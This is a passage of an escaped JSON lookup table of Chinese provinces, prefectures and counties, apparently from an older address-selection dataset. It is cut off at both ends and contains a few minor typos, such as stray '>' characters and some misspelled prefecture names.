苍县\"},{\"s\":\"青川县\"},{\"s\":\"剑阁县\"},{\"s\":\"苍溪县\"}]},{\"n\":\"遂宁\",\"a\":[{\"s\":\"船山区\"},{\"s\":\">安居区\"},{\"s\":\">蓬溪县\"},{\"s\":\">射洪县\"},{\"s\":\">大英县\"}]},{\"n\":\"内江\",\"a\":[{\"s\":\"市中区\"},{\"s\":\"东兴区\"},{\"s\":\"威远县\"},{\"s\":\"资中县\"},{\"s\":\"隆昌县\"}]},{\"n\":\"乐山\",\"a\":[{\"s\":\"市中区\"},{\"s\":\"沙湾区\"},{\"s\":\"五通桥区\"},{\"s\":\"金口河区\"},{\"s\":\"犍为县\"},{\"s\":\"井研县\"},{\"s\":\"夹江县\"},{\"s\":\"沐川县\"},{\"s\":\"峨边彝族自治县\"},{\"s\":\"马边彝族自治县\"},{\"s\":\"峨眉山市\"}]},{\"n\":\"南充\",\"a\":[{\"s\":\"顺庆区\"},{\"s\":\"高坪区\"},{\"s\":\"嘉陵区\"},{\"s\":\"南部县\"},{\"s\":\"营山县\"},{\"s\":\"蓬安县\"},{\"s\":\"仪陇县\"},{\"s\":\"西充县\"},{\"s\":\"阆中市\"}]},{\"n\":\"眉山\",\"a\":[{\"s\":\"东坡区\"},{\"s\":\"仁寿县\"},{\"s\":\"彭山县\"},{\"s\":\"洪雅县\"},{\"s\":\"丹棱县\"},{\"s\":\"青神县\"}]},{\"n\":\"宜宾\",\"a\":[{\"s\":\"翠屏区\"},{\"s\":\"宜宾县\"},{\"s\":\"南溪县\"},{\"s\":\"江安县\"},{\"s\":\"长宁县\"},{\"s\":\"高县\"},{\"s\":\"珙县\"},{\"s\":\"筠连县\"},{\"s\":\"兴文县\"},{\"s\":\"屏山县\"}]},{\"n\":\"广安\",\"a\":[{\"s\":\"广安区\"},{\"s\":\"岳池县\"},{\"s\":\"武胜县\"},{\"s\":\"邻水县\"},{\"s\":\"华蓥市\"}]},{\"n\":\"达川\",\"a\":[{\"s\":\"通川区\"},{\"s\":\"达县\"},{\"s\":\"宣汉县\"},{\"s\":\"开江县\"},{\"s\":\"大竹县\"},{\"s\":\"渠县\"},{\"s\":\"万源市\"}]},{\"n\":\"雅安\",\"a\":[{\"s\":\"雨城区\"},{\"s\":\"名山县\"},{\"s\":\"荥经县\"},{\"s\":\"汉源县\"},{\"s\":\"石棉县\"},{\"s\":\"天全县\"},{\"s\":\"芦山县\"},{\"s\":\"宝兴县\"}]},{\"n\":\"巴中\",\"a\":[{\"s\":\"巴州区\"},{\"s\":\"通江县\"},{\"s\":\"南江县\"},{\"s\":\"平昌县\"}]},{\"n\":\"资阳\",\"a\":[{\"s\":\"雁江区\"},{\"s\":\"安岳县\"},{\"s\":\"乐至县\"},{\"s\":\"简阳市\"}]},{\"n\":\"阿坝\",\"a\":[{\"s\":\"汶川县\"},{\"s\":\"理县\"},{\"s\":\"茂县\"},{\"s\":\"松潘县\"},{\"s\":\"九寨沟县\"},{\"s\":\"金川县\"},{\"s\":\"小金县\"},{\"s\":\"黑水县\"},{\"s\":\"马尔康县\"},{\"s\":\"壤塘县\"},{\"s\":\"阿坝县\"},{\"s\":\"若尔盖县\"},{\"s\":\"红原县\"}]},{\"n\":\"甘孜\",\"a\":[{\"s\":\"康定县\"},{\"s\":\"泸定县\"},{\"s\":\"丹巴县\"},{\"s\":\"九龙县\"},{\"s\":\"雅江县\"},{\"s\":\"道孚县\"},{\"s\":\"炉霍县\"},{\"s\":\"甘孜县\"},{\"s\":\"新龙县\"},{\"s\":\"德格县\"},{\"s\":\"白玉县\"},{\"s\":\"石渠县\"},{\"s\":\"色达县\"},{\"s\":\"理塘县\"},{\"s\":\"巴塘县\"},{\"s\":\"乡城县\"},{\"s\":\"稻城县\"},{\"s\":\"得荣县\"}]},{\"n\":\"凉山\",\"a\":[{\"s\":\"西昌市\"},{\"s\":\"木里藏族自治县\"},{\"s\":\"盐源县\"},{\"s\":\"德昌县\"},{\"s\":\"会理县\"},{\"s\":\"会东县\"},{\"s\":\"宁南县\"},{\"s\":\"普格县\"},{\"s\":\"布拖县\"},{\"s\":\"金阳县\"},{\"s\":\"昭觉县\"},{\"s\":\"喜德县\"},{\"s\":\"冕宁县\"},{\"s\":\"越西县\"},{\"s\":\"甘洛县\"},{\"s\":\"美姑县\"},{\"s\":\"雷波县\"}]}]},{\"p\":\"贵州省\",\"c\":[{\"n\":\"贵阳\",\"a\":[{\"s\":\"南明区\"},{\"s\":\"云岩区\"},{\"s\":\"花溪区\"},{\"s\":\"乌当区\"},{\"s\":\"白云区\"},{\"s\":\"小河区\"},{\"s\":\"开阳县\"},{\"s\":\"息烽县\"},{\"s\":\"修文县\"},{\"s\":\"清镇市\"}]},{\"n\":\"六盘水\",\"a\":[{\"s\":\"钟山区\"},{\"s\":\"六枝特区\"},{\"s\":\"水城县\"},{\"s\":\"盘县\"}]},{\"n\":\"遵义\",\"a\":[{\"s\":\"红花岗区\"},{\"s\":\"汇川区\"},{\"s\":\"遵义县\"},{\"s\":\"桐梓县\"},{\"s\":\"绥阳县\"},{\"s\":\"正安县\"},{\"s\":\"道真仡佬族苗族自治县\"},{\"s\":\"务川仡佬族苗族自治县\"},{\"s\":\"凤冈县\"},{\"s\":\"湄潭县\"},{\"s\":\"余庆县\"},{\"s\":\"习水县\"},{\"s\":\"赤水市\"},{\"s\":\"仁怀市\"}]},{\"n\":\"安顺\",\"a\":[{\"s\":\"西秀区\"},{\"s\":\"平坝县\"},{\"s\":\"普定县\"},{\"s\":\"镇宁布依族苗族自治县\"},{\"s\":\"关岭布依族苗族自治县\"},{\"s\":\"紫云苗族布依族自治县\"}]},{\"n\":\"铜仁\",\"a\":[{\"s\":\"铜仁市\"},{\"s\":\"江口县\"},{\"s\":\"玉屏侗族自治县\"},{\"s\":\"石阡县\"},{\"s\":\"思南县\"},{\"s\":\"印江土家族苗族自治县\"},{\"s\":\"德江县\"},{\"s\":\"沿河土家族自治县\"},{\"s\":\"松桃苗族自治县\"},{\"s\":\"万山特区\"}]},{\"n\":\"黔西南\",\"a\":[{\"s\":\"兴义市\"},{\"s\":\"兴仁县\"},{\"s\":\"普安县\"},{\"s\":\"晴隆县\"},{\"s\":\"贞丰县\"},{\"s\":\"望谟县\"},{\"s\":\"册亨县\"},{\"s\":\"安龙县\"}]},{\"n\":\"毕节\",\"a\":[{\"s\":\"毕节市\"},{\"s\":\"大方县\"},{\"s\":\"黔西县\"},{\"s\":\"金沙县\"},{\"s\":\"织金县\"},{\"s\":\"纳雍县\"},{\"s\":\"威宁彝族回族苗族自治县\"},{\"s\":\"赫章县\"}]},{\"n\":\"黔东南\",\"a\":[{\"s\":\"凯里市\"},{\"s\":\"黄平县\"},{\"s\":\"施秉县\"},{\"s\":\"三穗县\"},{\"s\":\"镇远县\"},{\"s\":\"岑巩县\"},{\"s\":\"天柱县\"},{\"s\":\"锦屏县\"},{\"s\":\"剑河县\"},{\"s\":\"台江县\"},{\"s\":\"黎平县\"},{\"s\":\"榕江县\"},{\"s\":\"从江县\"},{\"s\":\"雷山县\"},{\"s\":\"麻江县\"},{\"s\":\"丹寨县\"}]},{\"n\":\"黔南\",\"a\":[{\"s\":\"都匀市\"},{\"s\":\"福泉市\"},{\"s\":\"荔波县\"},{\"s\":\"贵定县\"},{\"s\":\"瓮安县\"},{\"s\":\"独山县\"},{\"s\":\"平塘县\"},{\"s\":\"罗甸县\"},{\"s\":\"长顺县\"},{\"s\":\"龙里县\"},{\"s\":\"惠水县\"},{\"s\":\"三都水族自治县\"}]}]},{\"p\":\"云南省\",\"c\":[{\"n\":\"昆明\",\"a\":[{\"s\":\"五华区\"},{\"s\":\"盘龙区\"},{\"s\":\"官渡区\"},{\"s\":\"西山区\"},{\"s\":\"东川区\"},{\"s\":\"呈贡县\"},{\"s\":\"晋宁县\"},{\"s\":\"富民县\"},{\"s\":\"宜良县\"},{\"s\":\"石林彝族自治县\"},{\"s\":\"嵩明县\"},{\"s\":\"禄劝彝族苗族自治县\"},{\"s\":\"寻甸回族彝族自治县\"},{\"s\":\"安宁市\"}]},{\"n\":\"曲靖\",\"a\":[{\"s\":\"麒麟区\"},{\"s\":\"马龙县\"},{\"s\":\"陆良县\"},{\"s\":\"师宗县\"},{\"s\":\"罗平县\"},{\"s\":\"富源县\"},{\"s\":\"会泽县\"},{\"s\":\"沾益县\"},{\"s\":\"宣威市\"}]},{\"n\":\"玉溪\",\"a\":[{\"s\":\"红塔区\"},{\"s\":\"江川县\"},{\"s\":\"澄江县\"},{\"s\":\"通海县\"},{\"s\":\"华宁县\"},{\"s\":\"易门县\"},{\"s\":\"峨山彝族自治县\"},{\"s\":\"新平彝族傣族自治县\"},{\"s\":\"元江哈尼族彝族傣族自治县\"}]},{\"n\":\"保山\",\"a\":[{\"s\":\"隆阳区\"},{\"s\":\"施甸县\"},{\"s\":\"腾冲县\"},{\"s\":\"龙陵县\"},{\"s\":\"昌宁县\"}]},{\"n\":\"昭通\",\"a\":[{\"s\":\"昭阳区\"},{\"s\":\"鲁甸县\"},{\"s\":\"巧家县\"},{\"s\":\"盐津县\"},{\"s\":\"大关县\"},{\"s\":\"永善县\"},{\"s\":\"绥江县\"},{\"s\":\"镇雄县\"},{\"s\":\"彝良县\"},{\"s\":\"威信县\"},{\"s\":\"水富县\"}]},{\"n\":\"丽江\",\"a\":[{\"s\":\"古城区\"},{\"s\":\"玉龙纳西族自治县\"},{\"s\":\"永胜县\"},{\"s\":\"华坪县\"},{\"s\":\"宁蒗彝族自治县\"}]},{\"n\":\"普洱\",\"a\":[{\"s\":\"思茅区\"},{\"s\":\"宁洱镇\"},{\"s\":\"墨江哈尼族自治县\"},{\"s\":\"景东彝族自治县\"},{\"s\":\"景谷傣族彝族自治县\"},{\"s\":\"镇沅彝族哈尼族拉祜族自治县\"},{\"s\":\"江城哈尼族彝族自治县\"},{\"s\":\"孟连傣族拉祜族佤族自治县\"},{\"s\":\"澜沧拉祜族自治县\"},{\"s\":\"西盟佤族自治县\"}]},{\"n\":\"临沧\",\"a\":[{\"s\":\"临翔区\"},{\"s\":\"凤庆县\"},{\"s\":\"云县\"},{\"s\":\"永德县\"},{\"s\":\"镇康县\"},{\"s\":\"双江拉祜族佤族布朗族傣族自治县\"},{\"s\":\"耿马傣族佤族自治县\"},{\"s\":\"沧源佤族自治县\"}]},{\"n\":\"楚雄\",\"a\":[{\"s\":\"楚雄市\"},{\"s\":\"双柏县\"},{\"s\":\"牟定县\"},{\"s\":\"南华县\"},{\"s\":\"姚安县\"},{\"s\":\"大姚县\"},{\"s\":\"永仁县\"},{\"s\":\"元谋县\"},{\"s\":\"武定县\"},{\"s\":\"禄丰县\"}]},{\"n\":\"红河\",\"a\":[{\"s\":\"个旧市\"},{\"s\":\"开远市\"},{\"s\":\"蒙自县\"},{\"s\":\"屏边苗族自治县\"},{\"s\":\"建水县\"},{\"s\":\"石屏县\"},{\"s\":\"弥勒县\"},{\"s\":\"泸西县\"},{\"s\":\"元阳县\"},{\"s\":\"红河县\"},{\"s\":\"金平苗族瑶族傣族自治县\"},{\"s\":\"绿春县\"},{\"s\":\"河口瑶族自治县\"}]},{\"n\":\"文山\",\"a\":[{\"s\":\"文山县\"},{\"s\":\"砚山县\"},{\"s\":\"西畴县\"},{\"s\":\"麻栗坡县\"},{\"s\":\"马关县\"},{\"s\":\"丘北县\"},{\"s\":\"广南县\"},{\"s\":\"富宁县\"}]},{\"n\":\"西双版纳\",\"a\":[{\"s\":\"景洪市\"},{\"s\":\"勐海县\"},{\"s\":\"勐腊县\"}]},{\"n\":\"大理\",\"a\":[{\"s\":\"大理市\"},{\"s\":\"漾濞彝族自治县\"},{\"s\":\"祥云县\"},{\"s\":\"宾川县\"},{\"s\":\"弥渡县\"},{\"s\":\"南涧彝族自治县\"},{\"s\":\"巍山彝族回族自治县\"},{\"s\":\"永平县\"},{\"s\":\"云龙县\"},{\"s\":\"洱源县\"},{\"s\":\"剑川县\"},{\"s\":\"鹤庆县\"}]},{\"n\":\"德宏\",\"a\":[{\"s\":\"瑞丽市\"},{\"s\":\"潞西市\"},{\"s\":\"梁河县\"},{\"s\":\"盈江县\"},{\"s\":\"陇川县\"}]},{\"n\":\"怒江傈\",\"a\":[{\"s\":\"泸水县\"},{\"s\":\"福贡县\"},{\"s\":\"贡山独龙族怒族自治县\"},{\"s\":\"兰坪白族普米族自治县\"}]},{\"n\":\"迪庆\",\"a\":[{\"s\":\"香格里拉县\"},{\"s\":\"德钦县\"},{\"s\":\"维西傈僳族自治县\"}]}]},{\"p\":\"西藏\",\"c\":[{\"n\":\"拉萨\",\"a\":[{\"s\":\"城关区\"},{\"s\":\"林周县\"},{\"s\":\"当雄县\"},{\"s\":\"尼木县\"},{\"s\":\"曲水县\"},{\"s\":\"堆龙德庆县\"},{\"s\":\"达孜县\"},{\"s\":\"墨竹工卡县\"}]},{\"n\":\"昌都\",\"a\":[{\"s\":\"昌都县\"},{\"s\":\"江达县\"},{\"s\":\"贡觉县\"},{\"s\":\"类乌齐县\"},{\"s\":\"丁青县\"},{\"s\":\"察雅县\"},{\"s\":\"八宿县\"},{\"s\":\"左贡县\"},{\"s\":\"芒康县\"},{\"s\":\"洛隆县\"},{\"s\":\"边坝县\"}]},{\"n\":\"山南\",\"a\":[{\"s\":\"乃东县\"},{\"s\":\"扎囊县\"},{\"s\":\"贡嘎县\"},{\"s\":\"桑日县\"},{\"s\":\"琼结县\"},{\"s\":\"曲松县\"},{\"s\":\"措美县\"},{\"s\":\"洛扎县\"},{\"s\":\"加查县\"},{\"s\":\"隆子县\"},{\"s\":\"错那县\"},{\"s\":\"浪卡子县\"}]},{\"n\":\"日喀则\",\"a\":[{\"s\":\"日喀则市\"},{\"s\":\"南木林县\"},{\"s\":\"江孜县\"},{\"s\":\"定日县\"},{\"s\":\"萨迦县\"},{\"s\":\"拉孜县\"},{\"s\":\"昂仁县\"},{\"s\":\"谢通门县\"},{\"s\":\"白朗县\"},{\"s\":\"仁布县\"},{\"s\":\"康马县\"},{\"s\":\"定结县\"},{\"s\":\"仲巴县\"},{\"s\":\"亚东县\"},{\"s\":\"吉隆县\"},{\"s\":\"聂拉木县\"},{\"s\":\"萨嘎县\"},{\"s\":\"岗巴县\"}]},{\"n\":\"那曲\",\"a\":[{\"s\":\"那曲县\"},{\"s\":\"嘉黎县\"},{\"s\":\"比如县\"},{\"s\":\"聂荣县\"},{\"s\":\"安多县\"},{\"s\":\"申扎县\"},{\"s\":\"索县\"},{\"s\":\"班戈县\"},{\"s\":\"巴青县\"},{\"s\":\"尼玛县\"}]},{\"n\":\"阿里\",\"a\":[{\"s\":\"普兰县\"},{\"s\":\"札达县\"},{\"s\":\"噶尔县\"},{\"s\":\"日土县\"},{\"s\":\"革吉县\"},{\"s\":\"改则县\"},{\"s\":\"措勤县\"}]},{\"n\":\"林芝\",\"a\":[{\"s\":\"林芝县\"},{\"s\":\"工布江达县\"},{\"s\":\"米林县\"},{\"s\":\"墨脱县\"},{\"s\":\"波密县\"},{\"s\":\"察隅县\"},{\"s\":\"朗县\"}]}]},{\"p\":\"陕西省\",\"c\":[{\"n\":\"西安\",\"a\":[{\"s\":\"新城区\"},{\"s\":\"碑林区\"},{\"s\":\"莲湖区\"},{\"s\":\"灞桥区\"},{\"s\":\"未央区\"},{\"s\":\"雁塔区\"},{\"s\":\"阎良区\"},{\"s\":\"临潼区\"},{\"s\":\"长安区\"},{\"s\":\"蓝田县\"},{\"s\":\"周至县\"},{\"s\":\"户县\"},{\"s\":\"高陵县\"}]},{\"n\":\"铜川\",\"a\":[{\"s\":\"王益区\"},{\"s\":\"印台区\"},{\"s\":\"耀州区\"},{\"s\":\"宜君县\"}]},{\"n\":\"宝鸡\",\"a\":[{\"s\":\"渭滨区\"},{\"s\":\"金台区\"},{\"s\":\"陈仓区\"},{\"s\":\"凤翔县\"},{\"s\":\"岐山县\"},{\"s\":\"扶风县\"},{\"s\":\"眉县\"},{\"s\":\"陇县\"},{\"s\":\"千阳县\"},{\"s\":\"麟游县\"},{\"s\":\"凤县\"},{\"s\":\"太白县\"}]},{\"n\":\"咸阳\",\"a\":[{\"s\":\"秦都区\"},{\"s\":\"杨凌区\"},{\"s\":\"渭城区\"},{\"s\":\"三原县\"},{\"s\":\"泾阳县\"},{\"s\":\"乾县\"},{\"s\":\"礼泉县\"},{\"s\":\"永寿县\"},{\"s\":\"彬县\"},{\"s\":\"长武县\"},{\"s\":\"旬邑县\"},{\"s\":\"淳化县\"},{\"s\":\"武功县\"},{\"s\":\"兴平市\"}]},{\"n\":\"渭南\",\"a\":[{\"s\":\"临渭区\"},{\"s\":\"华县\"},{\"s\":\"潼关县\"},{\"s\":\"大荔县\"},{\"s\":\"合阳县\"},{\"s\":\"澄城县\"},{\"s\":\"蒲城县\"},{\"s\":\"白水县\"},{\"s\":\"富平县\"},{\"s\":\"韩城市\"},{\"s\":\"华阴市\"}]},{\"n\":\"延安\",\"a\":[{\"s\":\"宝塔区\"},{\"s\":\"延长县\"},{\"s\":\"延川县\"},{\"s\":\"子长县\"},{\"s\":\"安塞县\"},{\"s\":\"志丹县\"},{\"s\":\"吴起县\"},{\"s\":\"甘泉县\"},{\"s\":\"富县\"},{\"s\":\"洛川县\"},{\"s\":\"宜川县\"},{\"s\":\"黄龙县\"},{\"s\":\"黄陵县\"}]},{\"n\":\"汉中\",\"a\":[{\"s\":\"汉台区\"},{\"s\":\"南郑县\"},{\"s\":\"城固县\"},{\"s\":\"洋县\"},{\"s\":\"西乡县\"},{\"s\":\"勉县\"},{\"s\":\"宁强县\"},{\"s\":\"略阳县\"},{\"s\":\"镇巴县\"},{\"s\":\"留坝县\"},{\"s\":\"佛坪县\"}]},{\"n\":\"榆林\",\"a\":[{\"s\":\"榆阳区\"},{\"s\":\"神木县\"},{\"s\":\"府谷县\"},{\"s\":\"横山县\"},{\"s\":\"靖边县\"},{\"s\":\"定边县\"},{\"s\":\"绥德县\"},{\"s\":\"米脂县\"},{\"s\":\"佳县\"},{\"s\":\"吴堡县\"},{\"s\":\"清涧县\"},{\"s\":\"子洲县\"}]},{\"n\":\"安康\",\"a\":[{\"s\":\"汉滨区\"},{\"s\":\"汉阴县\"},{\"s\":\"石泉县\"},{\"s\":\"宁陕县\"},{\"s\":\"紫阳县\"},{\"s\":\"岚皋县\"},{\"s\":\"平利县\"},{\"s\":\"镇坪县\"},{\"s\":\"旬阳县\"},{\"s\":\"白河县\"}]},{\"n\":\"商洛\",\"a\":[{\"s\":\"商州区\"},{\"s\":\"洛南县\"},{\"s\":\"丹凤县\"},{\"s\":\"商南县\"},{\"s\":\"山阳县\"},{\"s\":\"镇安县\"},{\"s\":\"柞水县\"}]}]},{\"p\":\"甘肃省\",\"c\":[{\"n\":\"兰州\",\"a\":[{\"s\":\"区\"},{\"s\":\"城关区\"},{\"s\":\"七里河区\"},{\"s\":\"西固区\"},{\"s\":\"安宁区\"},{\"s\":\"红古区\"},{\"s\":\"永登县\"},{\"s\":\"皋兰县\"},{\"s\":\"榆中县\"}]},{\"n\":\"嘉峪关\",\"a\":[{\"s\":\"嘉峪关市\"}]},{\"n\":\"金昌\",\"a\":[{\"s\":\"金川区\"},{\"s\":\"永昌县\"}]},{\"n\":\"白银\",\"a\":[{\"s\":\"白银区\"},{\"s\":\"平川区\"},{\"s\":\"靖远县\"},{\"s\":\"会宁县\"},{\"s\":\"景泰县\"}]},{\"n\":\"天水\",\"a\":[{\"s\":\"秦城区\"},{\"s\":\"麦积区\"},{\"s\":\"清水县\"},{\"s\":\"秦安县\"},{\"s\":\"甘谷县\"},{\"s\":\"武山县\"},{\"s\":\"张家川回族自治县\"}]},{\"n\":\"武威\",\"a\":[{\"s\":\"凉州区\"},{\"s\":\"民勤县\"},{\"s\":\"古浪县\"},{\"s\":\"天祝藏族自治县\"}]},{\"n\":\"张掖\",\"a\":[{\"s\":\"甘州区\"},{\"s\":\"肃南裕固族自治县\"},{\"s\":\"民乐县\"},{\"s\":\"临泽县\"},{\"s\":\"高台县\"},{\"s\":\"山丹县\"}]},{\"n\":\"平凉\",\"a\":[{\"s\":\"崆峒区\"},{\"s\":\"泾川县\"},{\"s\":\"灵台县\"},{\"s\":\"崇信县\"},{\"s\":\"华亭县\"},{\"s\":\"庄浪县\"},{\"s\":\"静宁县\"}]},{\"n\":\"酒泉\",\"a\":[{\"s\":\"肃州区\"},{\"s\":\"金塔县\"},{\"s\":\"瓜州县\"},{\"s\":\"肃北蒙古族自治县\"},{\"s\":\"阿克塞哈萨克族自治县\"},{\"s\":\"玉门市\"},{\"s\":\"敦煌市\"}]},{\"n\":\"庆阳\",\"a\":[{\"s\":\"西峰区\"},{\"s\":\"庆城县\"},{\"s\":\"环县\"},{\"s\":\"华池县\"},{\"s\":\"合水县\"},{\"s\":\"正宁县\"},{\"s\":\"宁县\"},{\"s\":\"镇原县\"}]},{\"n\":\"定西\",\"a\":[{\"s\":\"安定区\"},{\"s\":\"通渭县\"},{\"s\":\"陇西县\"},{\"s\":\"渭源县\"},{\"s\":\"临洮县\"},{\"s\":\"漳县\"},{\"s\":\"岷县\"}]},{\"n\":\"陇南\",\"a\":[{\"s\":\"武都区\"},{\"s\":\"成县\"},{\"s\":\"文县\"},{\"s\":\"宕昌县\"},{\"s\":\"康县\"},{\"s\":\"西和县\"},{\"s\":\"礼县\"},{\"s\":\"徽县\"},{\"s\":\"两当县\"}]},{\"n\":\"临夏\",\"a\":[{\"s\":\"临夏市\"},{\"s\":\"临夏县\"},{\"s\":\"康乐县\"},{\"s\":\"永靖县\"},{\"s\":\"广河县\"},{\"s\":\"和政县\"},{\"s\":\"东乡族自治县\"},{\"s\":\"积石山保安族东乡族撒拉族自治县\"}]},{\"n\":\"甘南\",\"a\":[{\"s\":\"合作市\"},{\"s\":\"临潭县\"},{\"s\":\"卓尼县\"},{\"s\":\"舟曲县\"},{\"s\":\"迭部县\"},{\"s\":\"玛曲县\"},{\"s\":\"碌曲县\"},{\"s\":\"夏河县\"}]}]},{\"p\":\"青海省\",\"c\":[{\"n\":\"西宁\",\"a\":[{\"s\":\"城东区\"},{\"s\":\"城中区\"},{\"s\":\"城西区\"},{\"s\":\"城北区\"},{\"s\":\"大通回族土族自治县\"},{\"s\":\"湟中县\"},{\"s\":\"湟源县\"}]},{\"n\":\"海东\",\"a\":[{\"s\":\"平安县\"},{\"s\":\"民和回族土族自治县\"},{\"s\":\"乐都县\"},{\"s\":\"互助土族自治县\"},{\"s\":\"化隆回族自治县\"},{\"s\":\"循化撒拉族自治县\"}]},{\"n\":\"海北\",\"a\":[{\"s\":\"门源回族自治县\"},{\"s\":\"祁连县\"},{\"s\":\"海晏县\"},{\"s\":\"刚察县\"}]},{\"n\":\"黄南\",\"a\":[{\"s\":\"同仁县\"},{\"s\":\"尖扎县\"},{\"s\":\"泽库县\"},{\"s\":\"河南蒙古族自治县\"}]},{\"n\":\"海南\",\"a\":[{\"s\":\"共和县\"},{\"s\":\"同德县\"},{\"s\":\"贵德县\"},{\"s\":\"兴海县\"},{\"s\":\"贵南县\"}]},{\"n\":\"果洛\",\"a\":[{\"s\":\"玛沁县\"},{\"s\":\"班玛县\"},{\"s\":\"甘德县\"},{\"s\":\"达日县\"},{\"s\":\"久治县\"},{\"s\":\"玛多县\"}]},{\"n\":\"玉树\",\"a\":[{\"s\":\"玉树县\"},{\"s\":\"杂多县\"},{\"s\":\"称多县\"},{\"s\":\"治多县\"},{\"s\":\"囊谦县\"},{\"s\":\"曲麻莱县\"}]},{\"n\":\"梅西\",\"a\":[{\"s\":\"格尔木市\"},{\"s\":\"德令哈市\"},{\"s\":\"乌兰县\"},{\"s\":\"都兰县\"},{\"s\":\"天峻县\"}]}]},{\"p\":\"宁夏省\",\"c\":[{\"n\":\"银川\",\"a\":[{\"s\":\"兴庆区\"},{\"s\":\"西夏区\"},{\"s\":\"金凤区\"},{\"s\":\"永宁县\"},{\"s\":\"贺兰县\"},{\"s\":\"灵武市\"}]},{\"n\":\"石嘴山\",\"a\":[{\"s\":\"大武口区\"},{\"s\":\"惠农区\"},{\"s\":\"平罗县\"}]},{\"n\":\"吴忠\",\"a\":[{\"s\":\"利通区\"},{\"s\":\"红寺堡区\"},{\"s\":\"盐池县\"},{\"s\":\"同心县\"},{\"s\":\"青铜峡市\"}]},{\"n\":\"固原\",\"a\":[{\"s\":\"原州区\"},{\"s\":\"西吉县\"},{\"s\":\"隆德县\"},{\"s\":\"泾源县\"},{\"s\":\"彭阳县\"}]},{\"n\":\"中卫\",\"a\":[{\"s\":\"沙坡头区\"},{\"s\":\"中宁县\"},{\"s\":\"海原县\"}]}]},{\"p\":\"新疆\",\"c\":[{\"n\":\"乌鲁木齐\",\"a\":[{\"s\":\"天山区\"},{\"s\":\"沙依巴克区\"},{\"s\":\"新市区\"},{\"s\":\"水磨沟区\"},{\"s\":\"头屯河区\"},{\"s\":\"达坂城区\"},{\"s\":\"米东区\"},{\"s\":\"乌鲁木齐县\"}]},{\"n\":\"克拉玛依\",\"a\":[{\"s\":\"独山子区\"},{\"s\":\"克拉玛依区\"},{\"s\":\"白碱滩区\"},{\"s\":\"乌尔禾区\"}]},{\"n\":\"吐鲁番\",\"a\":[{\"s\":\"吐鲁番市\"},{\"s\":\"鄯善县\"},{\"s\":\"托克逊县\"}]},{\"n\":\"哈密\",\"a\":[{\"s\":\"哈密市\"},{\"s\":\"巴里坤哈萨克自治县\"},{\"s\":\"伊吾县\"}]},{\"n\":\"昌吉\",\"a\":[{\"s\":\"昌吉市\"},{\"s\":\"阜康市\"},{\"s\":\"呼图壁县\"},{\"s\":\"玛纳斯县\"},{\"s\":\"奇台县\"},{\"s\":\"吉木萨尔县\"},{\"s\":\"木垒哈萨克自治县\"}]},{\"n\":\"博尔塔拉\",\"a\":[{\"s\":\"博乐市\"},{\"s\":\"精河县\"},{\"s\":\"温泉县\"}]},{\"n\":\"巴音郭楞\",\"a\":[{\"s\":\"库尔勒市\"},{\"s\":\"轮台县\"},{\"s\":\"尉犁县\"},{\"s\":\"若羌县\"},{\"s\":\"且末县\"},{\"s\":\"焉耆回族自治县\"},{\"s\":\"和静县\"},{\"s\":\"和硕县\"},{\"s\":\"博湖县\"}]},{\"n\":\"阿克苏\",\"a\":[{\"s\":\"阿克苏市\"},{\"s\":\"温宿县\"},{\"s\":\"库车县\"},{\"s\":\"沙雅县\"},{\"s\":\"新和县\"},{\"s\":\"拜城县\"},{\"s\":\"乌什县\"},{\"s\":\"阿瓦提县\"},{\"s\":\"柯坪县\"}]},{\"n\":\"克孜勒苏\",\"a\":[{\"s\":\"阿图什市\"},{\"s\":\"阿克陶县\"},{\"s\":\"阿合奇县\"},{\"s\":\"乌恰县\"}]},{\"n\":\"喀什\",\"a\":[{\"s\":\"喀什市\"},{\"s\":\"疏附县\"},{\"s\":\"疏勒县\"},{\"s\":\"英吉沙县\"},{\"s\":\"泽普县\"},{\"s\":\"莎车县\"},{\"s\":\"叶城县\"},{\"s\":\"麦盖提县\"},{\"s\":\"岳普湖县\"},{\"s\":\"伽师县\"},{\"s\":\"巴楚县\"},{\"s\":\"塔什库尔干县塔吉克自治\"}]},{\"n\":\"和田\",\"a\":[{\"s\":\"和田市\"},{\"s\":\"和田县\"},{\"s\":\"墨玉县\"},{\"s\":\"皮山县\"},{\"s\":\"洛浦县\"},{\"s\":\"策勒县\"},{\"s\":\"于田县\"},{\"s\":\"民丰县\"}]},{\"n\":\"伊犁\",\"a\":[{\"s\":\"伊宁市\"},{\"s\":\"奎屯市\"},{\"s\":\"伊宁县\"},{\"s\":\"察布查尔锡伯自治县\"},{\"s\":\"霍城县\"},{\"s\":\"巩留县\"},{\"s\":\"新源县\"},{\"s\":\"昭苏县\"},{\"s\":\"特克斯县\"},{\"s\":\"尼勒克县\"}]},{\"n\":\"塔城\",\"a\":[{\"s\":\"塔城市\"},{\"s\":\"乌苏市\"},{\"s\":\"额敏县\"},{\"s\":\"沙湾县\"},{\"s\":\"托里县\"},{\"s\":\"裕民县\"},{\"s\":\"和布克赛尔蒙古自治县\"}]},{\"n\":\"阿勒泰\",\"a\":[{\"s\":\"阿勒泰市\"},{\"s\":\"布尔津县\"},{\"s\":\"富蕴县\"},{\"s\":\"福海县\"},{\"s\":\"哈巴河县\"},{\"s\":\"青河县\"},{\"s\":\"吉木乃县\"}]},{\"n\":\"石河子\",\"a\":[{\"s\":\"石河子\"}]},{\"n\":\"阿拉尔\",\"a\":[{\"s\":\"阿拉尔\"}]},{\"n\":\"图木舒克\",\"a\":[{\"s\":\"图木舒克\"}]},{\"n\":\"五家渠\",\"a\":[{\"s\":\"五家渠\"}]}]},{\"p\":\"香港\",\"c\":[{\"n\":\"中西区\"},{\"n\":\"东区\"},{\"n\":\"九龙城区\"},{\"n\":\"观塘区\"},{\"n\":\"南区\"},{\"n\":\"深水区\"},{\"n\":\"湾仔区\"},{\"n\":\"黄大仙区\"},{\"n\":\"油尖旺区\"},{\"n\":\"离岛区\"},{\"n\":\"葵青区\"},{\"n\":\"北区\"},{\"n\":\"西贡区\"},{\"n\":\"沙田区\"},{\"n\":\"屯门区\"},{\"n\":\"大埔区\"},{\"n\":\"荃湾区\"},{\"n\":\"元朗区\"}]},{\"p\":\"澳门\",\"c\":[{\"n\":\"花地玛堂区\"},{\"n\":\"圣安多尼堂区\"},{\"n\":\"大堂区\"},{\"n\":\"望德堂区\"},{\"n\":\"风顺堂区\"},{\"n\":\"嘉模堂区\"},{\"n\":\"圣方济各堂区\"}]},{\"p\":\"台湾\",\"c\":[{\"n\":\"台北市\"},{\"n\":\"高雄市\"},{\"n\":\"基隆市\"},{\"n\":\"台中市\"},{\"n\":\"台南市\"},{\"n\":\"新竹市\"},{\"n\":\"嘉义市\"},{\